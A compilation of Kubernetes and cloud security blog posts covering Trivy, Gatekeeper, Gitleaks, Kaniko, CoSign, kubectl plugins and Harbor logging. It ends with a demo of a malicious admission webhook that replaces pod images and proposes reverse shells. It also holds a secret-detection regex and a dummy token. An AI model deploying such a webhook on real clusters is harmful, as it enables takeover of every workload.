Kindly note that this is still an experimental phase. As of this writing, Trivy supports scanning 31 types of AWS resources for misconfiguration.

Authenticate to AWS account

aws configure

Scan all resources in the default region

The region set during aws configure will be picked up! This returns the summary/count of misconfigurations for supported resources.

trivy aws

Scan all resources in a specific region

trivy aws --region=us-east-1

The list can be lengthy and exhaustive to understand. The service feature comes to the rescue.

Scan a single resource

The service feature shows more information on the misconfigurations.

trivy aws --service=ec2
trivy aws --service=ec2 --region=eu-west-1

Format output

Trivy supports multiple output formats, table, json, sarif, cosign-vuln, github, spdx, cyclonedx & lot more.

Sarif format allows us to view things visually better.

trivy aws --service=s3 --format=sarif --output=aws-s3-output.sarif

NOTE: If you have multiple misconfigurations/sensitive information in your output, DO NOT upload the results to an online website. Try setting up a local sarif viewer.

I don't have any sensitive information in my output, so I'm uploading them to an online sarif viewer from Microsoft. The output is clean & simple to digest.

Filter results based on vulnerability severity

trivy aws --service=s3
trivy aws --service=s3 --severity=MEDIUM

More features

Trivy got several features like updating the local cache & filters like account, arn, endpoint, etc.

References

https://aquasecurity.github.io/trivy/v0.31.0/docs/cloud/aws/scanning/ https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-standards-cis.html

Conclusion

This is a massive enhancement from Trivy to integrate cloud/IaC scanning features into its arsenal. Though it's in the experimental phase, the scanning coverage & features are impressive. We can be sure Trivy plans to integrate more features related to AWS & move to other cloud provider integrations, thus making it the center for scanning universe.

Introduction to Admission Webhooks

Admission webhooks in Kubernetes allows us to enforce policies to resource creations & deployments. Some tools help us to write extensible policies to achieve better control over the environment like OPA Gatekeeper, Kyverno, etc.

Challenges

OPA Gatekeeper rules are written in Rego language which is a pain to write & maintain. Kyverno offers a much simpler solution but it's not very flexible/extensible like OPA Gatekeeper. Though Gatekeeper is having complexity, it's effective to write custom rules according to the infrastructure.

For infrastructures compromising different teams/large numbers, it's easier to go with Kyverno/similar for the ease of getting started. But if we want to achieve granular level customizations, we have to go with OPA Gatekeeper. It's often complex to write rego rules for each customization. How do we achieve this?

Solution

We need to develop a solution that's extensible, easy to use & maintain. The gatekeeper team has done an amazing job with creating a library of rules. This helps to achieve a better understanding of the different rules we can write in OPA Gatekeeper.

If that's amazing, where's the catch? Well, it's easy to use but difficult to configure when we want to use it across multiple teams/clusters. The developers/DevOps/other teams have to dive into the templates & CRDs to further customize it. Unfortunately, not everyone is good with customizing rego rules/editing templates. Also, it's not an ideal approach to create multiple files for each customization.

Taking inspiration from the OPA team's work on rules library, we have customized their work to integrate with Helm.

Now, developers/DevOps/other teams can install rules with just the helm install command. Since we are using helm, the values of all templates/CRDs are available in values.yaml. This single file works as an interface for the end-users to understand/gain information on the list of rules/policies that are applied.

# Source: https://github.com/rewanthtammana/gatekeeper-rules-helm-library/blob/main/values.yaml

globalImport:
  includeNamespaces:
    - "default"
  excludeNamespaces:
    - "kube-system"
  includeNamespacesDefaultFlag: true
  excludeNamespacesDefaultFlag: false

K8sPSPAllowPrivilegeEscalationContainer:
  includeNamespacesDefaultFlag: false  #Overrides global flag. Remove field, if not required
  excludeNamespacesDefaultFlag: false  #Overrides global flag. Remove field, if not required
  includeNamespaces:
    - "default"
  excludeNamespaces:
    - "kube-system"
  scope: "Cluster"

K8sPSPCapabilities:
  includeNamespacesDefaultFlag: false #Overrides global flag. Remove field, if not required
  excludeNamespacesDefaultFlag: true #Overrides global flag. Remove field, if not required
  includeNamespaces:
    - "default"
  excludeNamespaces:
    - "kube-system"
  scope: "Cluster"
  parameters:
    allowedCapabilities:
    - "hello"
    requiredDropCapabilities:
    - "KILL"
    - "MKNOD"
    - "SETUID"
    - "SETGID"
    exemptImages:
    - "nginx:latest"

...

In daily use, there will be occurrences where we have to add exclusions like excluding a namespace from the specific rule(s). So, we have created something called globalExcludeNamespace in values.yaml. You can add the list of namespaces you want to exclude at the global level. The helm template will parse the input & add the list of namespaces at the global level in the exclusion list for all rules. You can override this exclusion by toggling the excludeNamespacesDefaultFlag variable. This makes it easy to organize & understand things. Similarly, we have given a feature to specify includeNamespacesDefaultFlag but it's recommended not to use it because by default the rules are applied for all namespaces.

Helm installation gives the luxury of creating multiple releases with a different set of rules like one chart for PSPs, one chart for general rules, etc. You can edit/delete the set of rules easily with helm.

helm list -A will return the list of installed release information.

Code outline & structure

Each rule/entry in values.yaml looks something like this. You can tweak the values accordingly & customize the templating according to your use case.

K8sPSPForbiddenSysctls:
  includeNamespacesDefaultFlag: true #Overrides global flag. Remove field, if not required
  excludeNamespacesDefaultFlag: false #Overrides global flag. Remove field, if not required
  includeNamespaces:
    - "default"
  excludeNamespaces:
    - "kube-system"
  scope: "Cluster"
  parameters:
    forbiddenSysctls:
    - "*"

The associated template for the above rule looks like as below.

# Source: https://github.com/rewanthtammana/gatekeeper-rules-helm-library/blob/main/templates/pod-security-policy/forbidden-sysctls.yaml

{{- if .Values.K8sPSPForbiddenSysctls -}}
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sPSPForbiddenSysctls
metadata:
  name: psp-forbidden-sysctls-{{.Release.Name}}
spec:
  match:
    kinds:
      - apiGroups: [""]
        kinds: ["Pod"]
    {{- /* Check if any custom values are defined */ -}}
    {{- if .Values.K8sPSPForbiddenSysctls}}
    {{- if or (.Values.K8sPSPForbiddenSysctls.includeNamespaces) (hasKey .Values.K8sPSPForbiddenSysctls "includeNamespacesDefaultFlag")}}
    {{/* Check if any specific namespaces are defined */ -}}
    namespaces:
    {{- /* Check for globalimport include */ -}}
    {{- if hasKey .Values.K8sPSPForbiddenSysctls "includeNamespacesDefaultFlag"}}
    {{- if .Values.K8sPSPForbiddenSysctls.includeNamespacesDefaultFlag}}
    {{- range .Values.globalImport.includeNamespaces}}
      - {{. | quote -}}
    {{end -}}
    {{end -}}
    {{- else if .Values.globalImport.includeNamespacesDefaultFlag}}
    {{- range .Values.globalImport.includeNamespaces}}
      - {{. | quote -}}
    {{end -}}
    {{end -}}
    {{- range .Values.K8sPSPForbiddenSysctls.includeNamespaces}}
      - {{. | quote -}}
    {{end -}}
    {{end -}}
    {{/* Check if excludeNamespaces are defined */ -}}
    {{- if or (.Values.K8sPSPForbiddenSysctls.excludeNamespaces) (hasKey .Values.K8sPSPForbiddenSysctls "excludeNamespacesDefaultFlag")}}
    excludedNamespaces:
    {{- /* Check for globalimport include */ -}}
    {{- if hasKey .Values.K8sPSPForbiddenSysctls "excludeNamespacesDefaultFlag"}}
    {{- if .Values.K8sPSPForbiddenSysctls.excludeNamespacesDefaultFlag}}
    {{- range .Values.globalImport.excludeNamespaces}}
      - {{. | quote -}}
    {{end -}}
    {{end -}}
    {{- else if .Values.globalImport.excludeNamespacesDefaultFlag}}
    {{- range .Values.globalImport.excludeNamespaces}}
      - {{. | quote -}}
    {{end -}}
    {{end -}}
    {{- range .Values.K8sPSPForbiddenSysctls.excludeNamespaces}}
      - {{. | quote -}}
    {{end -}}
    {{end -}}
    {{/* Check if any scope is defined (Cluster/Namespace) */ -}}
    {{- if .Values.K8sPSPForbiddenSysctls.scope}}
    scope: {{.Values.K8sPSPForbiddenSysctls.scope | quote -}}
    {{end -}}
    {{end -}}
  {{- /* Check if any custom values are defined */ -}}
  {{- if .Values.K8sPSPForbiddenSysctls}}
  {{- if .Values.K8sPSPForbiddenSysctls.parameters}}
  {{- if .Values.K8sPSPForbiddenSysctls.parameters.forbiddenSysctls}}
  parameters:
    forbiddenSysctls:
    {{- range .Values.K8sPSPForbiddenSysctls.parameters.forbiddenSysctls}}
    - {{. | quote -}}
    {{end -}}
  {{end}}
  {{end}}
  {{end}}
{{- end -}}

Installation

1. Clone https://github.com/rewanthtammana/gatekeeper-rules-helm-library

2. Create all CRDs. The CRDs are available in ./crds folder. bash kubectl create -f ./crds/general/ kubectl create -f ./crds/pod-security-policy/

3. Install the templates. The values.yaml can be tweaked to adjust template values. bash helm install rules-helm .

   

Conclusion

This kind of structuring allows simple management with Gatekeeper rules & allows the rules library for easy extension. Separate values.yaml can be created. For example, psp-values.yaml with PSP template values, general-values.yaml with the general template values, etc. removing the complexity from the operations team.

References

https://github.com/rewanthtammana/gatekeeper-helm-library

https://github.com/open-policy-agent/gatekeeper-library

Authors

Siddharth Tanna

Rewanth Tammana

Github: gitleaks-for-enterprise

Introduction

Most of the recent security breaches occur due to a simple misconfiguration or leaked secrets/API keys/etc. Detecting these kinds of misconfigurations at an early stage in the build process will be pretty helpful. Identifying secrets & sensitive information plays a key role in the shift-left security DevOps approach.

About Gitleaks

Gitleaks is a SAST tool for detecting and preventing hardcoded secrets like passwords, API keys, and tokens in git repos. Gitleaks is an easy-to-use, all-in-one solution for detecting secrets, past or present, in your code.

Usage

gitleaks detect -c ./gitleaks.toml --source /path/to/repo

$ cat gitleaks.toml
...
[[rules]]
    description = "Rule 1: AWS Access Key"
    regex = '''(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}'''
    tags = ["key", "AWS"]
...

The best part with Gitleaks is it allows us to add allowlist based on rule & commitID/fileName/data/ etc. This will be helpful while dealing with false positives.

$ cat gitleaks-with-allowlist.toml
...
[[rules]]
    description = "Rule 1: AWS Access Key"
    regex = '''(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}'''
    tags = ["key", "AWS"]
    [rules.allowlist]
    description = "Ignore revoked AWS Key"
    commits = [ "commit-A" ]
    paths = [ '''config.env''' ]
...

There are multiple ways to integrate Gitleaks into your environment like pre-commit hooks, CI pipelines, etc. That's an amazing feature.

Everything looks great. Where is the problem?

Existing architecture & drawbacks

If you want to run Gitleaks on 2-3 projects, it's straightforward. But things get quite challenging & interesting when we want to integrate it into larger organizations with tens/hundreds of projects. Why?

1. The default structure of gitleaks.toml makes it impossible to use it across multiple projects
2. The whitelisting of false positives across multiple projects can be a real challenge
3. Having a separate gitleaks.toml for each project isn't a feasible solution either. Why? For instance, you have 100 repositories with individual gitleaks.toml file. You can add the whitelisting in each file specific to the project but when you want to add a new detection rule to gitleaks.toml file, it's gonna be a nightmare to add/delete the values across multiple repositories.

The existing structure of gitleaks.toml doesn't give us the flexibility to achieve it. What now?

Upgraded architectural design

We should build a design that's flexible & open to extension with ease. What do we need?

1. Centralized repository for detection rules & exceptions
2. All secret detection rules must be in a single file
3. The exceptions are different for every project. The constraints of a rule being an exception varies for every project. Hence, the allowlist rules for each project should be stored in separate files.
4. A connector that will combine the detection rules & exception list in a way that gitleaks can understand.
5. Run gitleaks on the specific repository along with the data gathered above.

The design looks something like this.

How to configure & use it

1. Check the gitleaks-for-enterprise repository. The directory structure is as follows - allowlist/$USERNAME/$REPONAME/allowlist.toml
2. Next step is to clone gitleaks-for-enterprise & generate gitleaks.toml. We have a base.toml file with all the detection rules. The allowlist folder contains exceptions for all projects.
3. If this is your first time generating gitleaks.toml, this file would be equivalent to base.toml because there's no allowlist.toml for your target project yet.

    git clone https://github.com/rewanthtammana/gitleaks-for-enterprise
    cd gitleaks-for-enterprise
    python3 run.py -a allowlist/rewanthtammana/gitleaks-demo-repo/allowlist.toml > gitleaks.toml
   

   
4. For this example, let's run it on a demo repository, gitleaks-demo-repo. Clone this repo locally & run gitleaks on it. There are 6 leaks identified.

    git clone https://github.com/rewanthtammana/gitleaks-demo-repo /tmp/gitleaks-demo-repo
    gitleaks detect -c ./gitleaks.toml --source /tmp/gitleaks-demo-repo
   

   
5. Append -v option to the above gitleaks command to view gitleaks information. I have leaked dummy values for demo purposes.

    gitleaks detect -c ./gitleaks.toml --source /tmp/gitleaks-demo-repo -v
   

   
6. Let's consider we revoked the above-identified Github key, ghp_WtfdNeDljtnHfLaVePtZll6NQBqU6c0jiuSX.
7. After a revocation, you can visit your gitleaks-for-enterprise setup & add this revocation as an exception.
   1. There are multiple ways to add exceptions based on commit id, value, file name, etc.
8. In this case, let's take the data as an exception. Here it will be ghp_WtfdNeDljtnHfLaVePtZll6NQBqU6c0jiuSX
9. The allowlists should be in the below format for ease of organizing & access control, allowlist/$USERNAME/$REPONAME/allowlist.toml

10. In this case, we have to create a file allowlist/rewanthtammana/gitleaks-demo-repo/allowlist.toml with the following data as an exception.

    # Rule specific white listing
    [[rules]]
        id = "8"
        [rules.allowlist]
            regexes = ['''ghp_WtfdNeDljtnHfLaVePtZll6NQBqU6c0jiuSX''']
    

11. Now generate a new gitleaks.toml file. This will be different from the base file because now we have an allowlist.toml file that will change the course.

    python3 run.py -a allowlist/rewanthtammana/gitleaks-demo-repo/allowlist.toml > gitleaks.toml
    

12. As we can see, the number of leaks reduce to 4 from 6. Also, you can see that the Github key we revoked, ghp_WtfdNeDljtnHfLaVePtZll6NQBqU6c0jiuSX isn't returned as a finding any further.
13. Similarly you can add more exceptions specific to your repo, in this case, the repo is rewanthtammana/gitleaks-demo-repo, so we created allowlist/rewanthtammana/gitleaks-demo-repo/allowlist.yaml.

Further Scope & Conclusion

This can be easily integrated with CI pipelines to identify the sensitive information & helps to take a step towards shift-left security.

The model is designed to be extensible & efficient. This layout can be easily expanded to hundreds/thousands of projects & still provide you the flexibility to have a centralized repository to maintain all the rules & exceptions.

As we have only base.toml with all the detection rules, it's quite affordable for the teams to update the rules frequently & use them across multiple projects.

Conclusion

By leveraging this kind of directory structure & framework, any team can have a centralized repository for all their detection rules & exception lists. This makes it easy for developers, DevOps, security, including business teams to use & allows to integrate with CI smoothly. Hope this restructuring helps you with gitleaks integration in your enterprise or across multiple projects.

Kaniko is a tool to build container images from a Dockerfile, inside a container or Kubernetes cluster. More information on usage, here.

Kaniko doesn't depend on a Docker daemon and executes each command within a Dockerfile completely in userspace. This enables building container images in environments that can't easily or securely run a Docker daemon, such as a standard Kubernetes cluster.

There are tons of tutorials on the internet on how to use Kaniko. Rather than focusing on regular usage, we will take things a notch higher by hardening Kaniko build process to ensure better security.

Introduction to security concerns

• Kaniko runs as a container to build images
• Kaniko runs as an unprivileged container
• But that container runs as a root user

Running container as a root user is not recommended but here kaniko will be used for building the images (unpacking other images, changing permissions, etc), so kaniko requires a certain level of privileges. Hence, the root user is mandatory.

Internal working

Running container as the root user is a concern when the container is having a wide range of Linux capabilities that can lead to compromise of the host machine. To prevent this attack, we will drop all the capabilities for this kaniko container. But as discussed above, Kaniko requires a specific set of capabilities to perform operations. Let's try to explicitly add those capabilities to Kaniko container, so it will have the ability to build an image.

I have tried building multiple Dockerfiles performing different sets of operations. Post review, I found the following capabilities are required for kaniko to build an image.

• CHOWN
• SETUID
• SETGID
• FOWNER
• DAC_OVERRIDE

Hands-on experience

I used a simple Dockerfile for testing.

FROM alpine
ENTRYPOINT ["/bin/sh", "-c", "echo hello"]

Default capabilities list

Build the image

docker run --name capdefault -v $(pwd)/Dockerfile:/Dockerfile -v $(pwd):/kaniko-context -it gcr.io/kaniko-project/executor:latest -f /Dockerfile -c /kaniko-context --no-push

Capture the PID of the above process

ps -ef | grep capdefault

Review the bounding set capabilities for that process. CapBnd will help.

grep Cap /proc/<PID>/status

Decode the CapBnd value to view the list of capabilities associated with that process.

capsh --decode=<CapBnd_Value>

Finally, we can see a wide range of Linux capabilities associated with the container with default settings that can open a gateway to numerous attacks & privilege escalations.

Dropped all capabilities

Try dropping all the capabilities & building the image.

docker run --name capdropall --cap-drop=all -v $(pwd)/Dockerfile:/Dockerfile -v $(pwd):/kaniko-context -it gcr.io/kaniko-project/executor:latest -f /Dockerfile -c /kaniko-context --no-push

When all capabilities are dropped, kaniko won't be able to build an image.

Dropped all capabilities & added only required capabilities

As discussed in the Internal working section, drop all capabilities and add the capabilities that are required only for building images.

docker run --name capdropsome --cap-drop=all --cap-add CHOWN --cap-add=SETUID --cap-add=SETGID --cap-add=FOWNER --cap-add=DAC_OVERRIDE -v $(pwd)/Dockerfile:/Dockerfile -v $(pwd):/kaniko-context -it gcr.io/kaniko-project/executor:latest -f /Dockerfile -c /kaniko-context --no-push

Conclusion

A wide variety of Dockerfiles should be passed to kaniko as unit tests to understand the required list of capabilities for Kaniko. If we feel any additional privileges are required to build specific Dockerfiles, we can add those capabilities to the Kaniko build container explicitly.

Hence with cloud & containerized environments ensuring the integrity of the images getting deployed is crucial than ever.

Notary & CoSign are prominent in the industry for signing & validating the integrity of images.

Thanks to GiantSwarm for the ValidatingWebHook boiler template.

TL;DR

High-level overview

1. We create a private & public pair (CoSign generates ECDAS-P256 key pair). Use a CI pipeline to perform this operation.
2. These keys need to be stored in KMS solutions like Hashicorp Vault, AWS KMS, etc.
3. Image signing happens via CI pipeline.
4. Private key will be fetched from KMS provider, stored in CI secret store & used for signing of images.
5. We use the public key pair for validating images.

Image repository snapshot

Push signed information to the registry

Image repository snapshot (Updated)

CoSign Workflow

Deployments can be triggered manually or in an automated fashion by leveraging solutions like Argo CD.

We will be using a ValidatingWebHook to perform integrity validation of images. An admission controller is written in golang to perform this validating operation.

Notary vs CoSign

Image signing

1. After key generation, the CI pipeline pushes private & public keys to the KMS provider.
2. Private keys pulled from KMS & stored in CI secret store.
3. We use the CI pipeline to sign images with private keys and push them to the registry.

Image validation

We need to validate the signature of the images before deployment. We will use ValidatingWebHook in Kubernetes to verify the signatures.

1. Create a ValidatingWebHook to validate the image. Sample PoC
2. ValidatingWebHook deployment fetches public key from KMS for validation.
3. If a signature exists, it allows the deployment, else it rejects the deployment request.

ValidatingWebHook

ValidatingWebHook can be a SPOF (Single Point of Failure). So, precautionary measures should be taken to ensure it doesn't go down.

1. Health checks at 30-second intervals using liveness probes. If the webhook is down, kill the pod & spin up a new one.
2. Enable HPA (Horizontal Pod Autoscaler) for this deployment. In production, the traffic is very high.
3. Every deployment/pod creation in the Kubernetes cluster hits our ValidatingWebHook pod for image validation. Mandatory to have multiple pods to handle the load.

Key Management/Rotation

To comply with security guidelines, it's better to automate the key rotation process using pipelines.

1. Build pipelines should have a script to retrieve the list of all signed images from the repository.
2. A clean-up has to be done on all the signature data in the registry.
3. A new key-pair needs to be created using pipeline & the keys to be sent to the KMS provider.
4. Pull the private key from KMS & put it in the CI secret store.
5. From step 1, we have the list of previously signed images. Re-sign all the images with the new private key & push them to the registry.

POC

Hands-on experience: https://github.com/rewanthtammana/grumpy

Conclusion

Considering the design, usage, maintenance & architectural edges, CoSign is undoubtedly a better choice to achieve our goal.

The in-line secret creation feature in Kubernetes is vulnerable to shoulder surfing attacks. In this blog, we will

• Glance through the features to create Kubernetes secrets
• Analyze the risks with default approach
• Get introduced to the plugin that fixes this problem

Github link of the plugin: rewanthtammana/kubectl-whisper-secret

Introduction to Kubernetes

Kubernetes is an open-source container orchestration system for automating application deployment, scaling, and management. kubectl provides a CLI interface to manage Kubernetes clusters. Kubectl enables the users to run different operations like describe, edit, exec, explain, logs, run, etc on Kubernetes clusters.

Kubernetes secret is an object that contains a small amount of sensitive data such as a password, a token, or a key. Such information might otherwise be put in a Pod specification or in a container image. Using a Secret means that you don't need to include confidential data in your application code.

Kubectl CLI

The kubectl CLI has an extended feature called kubectl plugins - this advanced feature allows the users to develop plugins to customize kubectl functionality. I leverage this feature & built this plugin to solve the inception problem.

Default approach

We have different ways to create Kubernetes secrets. Input can be provided via

1. CLI, --from-literal
2. File, --from-file
3. Env files, --from-env-file

We are more interested in the --from-literal feature because it's more subjected to attack. Below are a couple of examples.

Creating a generic secret

kubectl create secret generic my-secret --from-literal key1=value1 --from-literal key2=value2

Creating docker registry secrets

kubectl create secret docker-registry my-docker-secret --docker-password s3cur3D0ck3rP@ssw0rD --docker-username root

In both the above examples, the secret value is exposed via shoulder surfing attacks. This will lead to password leakage & authentication bypasses.

Proposed approach

I leveraged the kubectl plugins feature & built a plugin to demonstrate an alternative solution & approach to this problem.

Instead of taking sensitive input through terminal, with the help of this plugin, you will be able to provide sensitive input.

kubectl whisper-secret generic my-secret --from-literal key1 --from-literal key2
Enter value for key1: 
Enter value for key2: 
secret/my-secret created

Bonus

kubectl whisper-secret is now integrated with krew, a kubectl plugin manager. This plugin integration works on all platforms. So, this plugin can be installed directly with krew. It’s as simple as,

kubectl krew install whisper-secret

References

• What is shoulder surfing?
• Kubectl whisper secret

Github link: https://github.com/rewanthtammana/kubectl-fields

Problem Statement

For example, you want to add capabilities/securitycontext to your pod configuration. The only way to achieve this is by recursively expanding the kubectl explain and using the grep command. This default method to identify the hierarchy of specific fields for any resource in Kubernetes is cumbersome & tedious.

Introduction to Kubernetes

Kubernetes is an open-source container orchestration system for automating application deployment, scaling, and management. kubectl provides a CLI interface to manage Kubernetes clusters. Kubectl enables the users to run different operations like describe, edit, exec, explain, logs, run, etc on Kubernetes clusters.

Kubernetes objects can be created, updated, and deleted by writing object configuration files either in declarative/imperative method. Kubernetes object configuration files need to follow a pre-defined parental hierarchy structure. All the configuration files need to be addressed in the same pre-defined sequential/parental order to get processed by Kubernetes.

Kubectl CLI

The kubectl CLI has an extended feature called kubectl plugins - this advanced feature allows the users to develop plugins to customize kubectl functionality. I leverage this feature & built this plugin to solve the inception problem.

Default approach

Let' say you want to add capabilities to your pod configuration.

To achieve this, the first thing is to know the hierarchy of capabilities for chosen resources.

The current/default methodology to find the hierarchical order for any field is to use grep or similar commands for the specific field in the terminal.

$ kubectl explain --recursive po.spec | grep capabilities
         capabilities   <Object>
         capabilities   <Object>

The above result shows only the matched patterns but it doesn’t show the parental hierarchy. Alternatively, the search can be extended with grep advanced functionalities.

$ kubectl explain --recursive po.spec | grep capabilities -C 5
      resources <Object>
         limits <map[string]string>
         requests       <map[string]string>
      securityContext   <Object>
         allowPrivilegeEscalation       <boolean>
         capabilities   <Object>
            add <[]string>
            drop        <[]string>
         privileged     <boolean>
         procMount      <string>
         readOnlyRootFilesystem <boolean>
--
      resources <Object>
         limits <map[string]string>
         requests       <map[string]string>
      securityContext   <Object>
         allowPrivilegeEscalation       <boolean>
         capabilities   <Object>
            add <[]string>
            drop        <[]string>
         privileged     <boolean>
         procMount      <string>
         readOnlyRootFilesystem <boolean>

Though the above grep command gives us a rough idea of the hierarchy, it doesn’t show the complete sequence and we have to print the entire output & scroll through the terminal to find the right order.

This is a tedious job and consumes a lot of time. If there are multiple matching fields in different objects, that only makes the situation worse.

Proposed solution: kubectl-fields

I leveraged the kubectl plugins feature & built a plugin to demonstrate an alternative solution & approach to this problem.

kubectl explain --recursive | grep doesn’t show the exact hierarchy of matched fields, but this plugin does! kubectl fields solves this problem by printing a one-liner parental hierarchy of any field in any selected resource.

$ kubectl fields po capabilities
spec.containers.securityContext.capabilities
spec.ephemeralContainers.securityContext.capabilities
spec.initContainers.securityContext.capabilities

$ kubectl fields po.spec securitycontext
containers.securityContext
ephemeralContainers.securityContext
initContainers.securityContext
securityContext

Bonus

kubectl fields is now integrated with krew, a kubectl plugin manager. This plugin integration works on all platforms. So, this plugin can be installed directly with krew. It’s as simple as,

kubectl krew install fields

Huge thanks to ahmetb for the krew integration suggestion.

References

https://github.com/rewanthtammana/kubectl-fields

In this blog post, we will be looking at some of the problems I have seen in Harbor private registry security audit logging with some possible solutions to meet security standards and requirements and finally, how I achieved the goal by leveraging the OpenResty scripting abilities to perform better security audit logging.

By the end of the blog post, you can leverage security audit logging for Harbor private registry to achieve security compliance requirements for your container registry environments in Harbor.

What is Harbor?

Before we deep dive into the problems and solutions, let’s sneak into Harbor and how companies use it.

Harbor is an open-source registry that secures artifacts with policies and role-based access control, ensures images are scanned and free from vulnerabilities, and signs images as trusted. Harbor, a CNCF Graduated project, delivers compliance, performance, and interoperability to help you consistently and securely manage artifacts across cloud-native compute platforms like Kubernetes and Docker. — https://goharbor.io/

Problems we have with Harbor  — The Why?

I think Harbor is a great open source project and it already helps to solve most of the problems in the work I do, but when it comes to the Security Standards and requirements of compliance, it doesn't have a mechanism to perform audit logging functionality. As most of the compliance standards want to have visibility and audit tracing to understand who did what, when, and how? We want similar visibility in the Harbor that can explain who accessed the registry, modified scan settings, tagged images, etc.

The current logs don't explain who & what's being modified. It's a huge setback & game stopper.

As container registry is one of the most key aspects of the whole supply chain security, it becomes even more critical to have an understanding of what’s happening by leveraging visibility and proactive monitoring.

Here are some possible solutions I came up with

As I have a clear problem statement, I have started tinkering with existing solutions and possible solutions to solve this. So here are some of the possible things I can do to solve this problem includes,

• Adding the custom middleware to the harbor-core to implement custom security audit logging to enable required
• Customize Harbor codebase to add new logging modules at different Microservice level
• Add customized event controllers to Harbor for logging

Current workflow

Harbor spins up 11+ microservices on start-up. Nginx acts as a reverse proxy & forwards the requests to respective components. All the logging happens at the Nginx level.

• Step 0: User request comes & audit logging happens at Nginx
• Step 1: Request goes to Harbor core MS from Nginx MS
• Step 2: Harbor core MS communicates with serialized Redis for authentication checks
• Step 3: Harbor core MS validates the authentication
• Step 4: Harbor core MS connects with Harbor DB (Postgres) for authorization checks
• Step 5: Harbor core MS validates the authorization
• Step 6: Rest of the magic happens!

Default log format configuration

  log_format timed_combined '$remote_addr - '
    '"$request" $status $body_bytes_sent '
    '"$http_referer" "$http_user_agent" '
    '$request_time $upstream_response_time $pipe';

With the default configuration & workflow, there's no way for Nginx to log the user information just from the HTTP requests. All the Authentication & Authorization checks happen after the request passes the Nginx stage. To solve this problem, we need to fetch user information at the Nginx level.

Solution for the problem I have chosen  — The How?

Here comes the exciting part, I kind of delved into pretty much all the possible solutions. But due to the constraints I have (time, smooth upgrades), I have chosen to go this way.

We will replace Nginx with Openresty, query the Redis key-store to fetch user information, pass it to the proxy, save it to the logs.

Some considerations I have to keep an eye for this solution include,

A slight increase in latency due to multiple calls at the proxy level. The latency won't be noticed until we have massive traffic.

Solution for the problem —  Technicalities

Though Nginx is a powerful software it lacks programming ability. We need to add programming capabilities to Nginx to communicate with Redis MS to fetch user information. To perform these operations, we have to replace Nginx with Openresty that is having Lua scripting abilities.

With Lua, we will be able to query Redis cache to retrieve the data, extract information from serialized data, store it in the logs at the reverse proxy level and forward the request ahead for the rest of the operations.

The enhanced workflow sequence:

• Step 1: At the Openresty level, we extract the cookies from the user request
• Step 2: We extract the sid session identified from the cookies
• Step 3: We fetch serialized data associated with sid from Redis key-value store
• Step 4: Extract Email ID from the serialized data
• Step 5: Add Email ID to rest of the logging parameters & store it in reverse proxy logs
• Step 6: Forward the initial user request to other MS to do the magic!

Enhanced logging configuration

Along with a bunch of other Lua codes, here, a considerable upgrade has been performed in the logging conf, here

  ...
  location / {
    ...
    default_type text/plain;
    access_by_lua_block {
      local user = require "user"
      local redis = require "resty.redis"
      local red = redis:new()

      ngx.var.email=user.fetch(red, ngx.var.cookie_sid)
    }
  }
  ...
  log_format timed_combined escape=none '($email) $remote_addr - '
  '"$request" $status $body_bytes_sent '
  '"$http_referer" "$http_user_agent" '
  '$request_time $upstream_response_time $pipe'
  '$request_body';

With the above-customized configuration changes, we can see the request body & email ID of the user.

The long why I didn’t choose other solutions

I want to have a solution that solves our problem & also allows us to perform smooth updates. If we choose to tamper with the harbor code base, until our code gets merged with the main branch, we will face massive issues with upgrading the harbor to the latest version.

Conclusion/Summary

I have tried to solve a problem existing since Harbor's inception by replacing Nginx proxy on Photon OS with Openresty, adding Lua scripting to make calls to serialized Redis cache to fetch information based on session id, decrypting serialized data, fetching user information, save it in the logs, and then forward the requests to Harbor-core microservice for the regular flow execution.

NOTE: This solution is definitely not a production level fix & this blog is to just demonstrate the things I tried & learnt in the process of fixing the issue.

Github - https://github.com/rewanthtammana/harbor-enhanced-logging

Stackrox has done an amazing job of demonstrating the usage of admission controllers to defend the Kubernetes clusters. We will modify their code to demonstrate an offensive attack scenario.

Introduction to admission controllers

An admission controller is a piece of code that intercepts requests to the Kubernetes API server before the persistence of the object, but after the request is authenticated and authorized.

Workflow & Types of controllers:

• MutatingAdmissionWebhook (modifies the object if it desires)
• ValidatingAdmissionWebhook (validates the object if it desires)

If either of the controllers rejects the request, the entire request is rejected immediately and an error is returned to the end-user.

Uses of admission controller

Tools like OPA, Kyverno, and many others leverage admission controllers to enforce more security.

• Limit requests to create, delete, modify, and other specific operations
• Allows enforcing granular rules
• Highly effective in hardening Kubernetes clusters

Exploitation

Admission controllers are built to defend the systems & harden the infrastructure but a simple misconfiguration can lead to nightmares & deadly attacks.

Creating malicious admission controller

Once an attacker gets into a misconfigured cluster, they can perform n number of operations. If the attacker has privileges to create a deployment, service & mutating webhook admission controller, then it's pretty much game over. Hence, exploiting admission controllers can be categorized as part of a post-exploitation phase.

The source code of the demo is available, here.

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Wait until the webhook server is ready. Check the status.

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Once we have our malicious mutating webhook running, let's deploy a new pod.

kubectl run nginx --image nginx
kubectl get po -w

Wait again, until you see the change in pod status. Now, you can see ErrImagePull error. Check the image name with either of the queries.

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'

kubectl describe po nginx | grep "Image: "

As you can see in the above image, we tried running image nginx but the final executed image is rewanthtammana/malicious-image. What just happened!!?

Technicalities

We will unfold what just happened. The ./deploy.sh script that you executed, created a mutating webhook admission controller. The below lines in the mutating webhook admission controller are responsible for the above results.

patches = append(patches, patchOperation{
    Op:    "replace",
    Path:  "/spec/containers/0/image",
    Value: "rewanthtammana/malicious-image",
})

The above snippet replaces the first container image in every pod with rewanthtammana/malicious-image.

Example attack scenario

An attacker can perform various attacks. For instance,

• Run pods/deployments with privileged flags, high capabilities, etc.
• Write a custom image, that throws reverse shell from all pods to attacker's personal machine.

By combining the above two threat vectors, attackers can gain access to all worker nodes by getting reverse shells from pods running with high privileges.

Conclusion

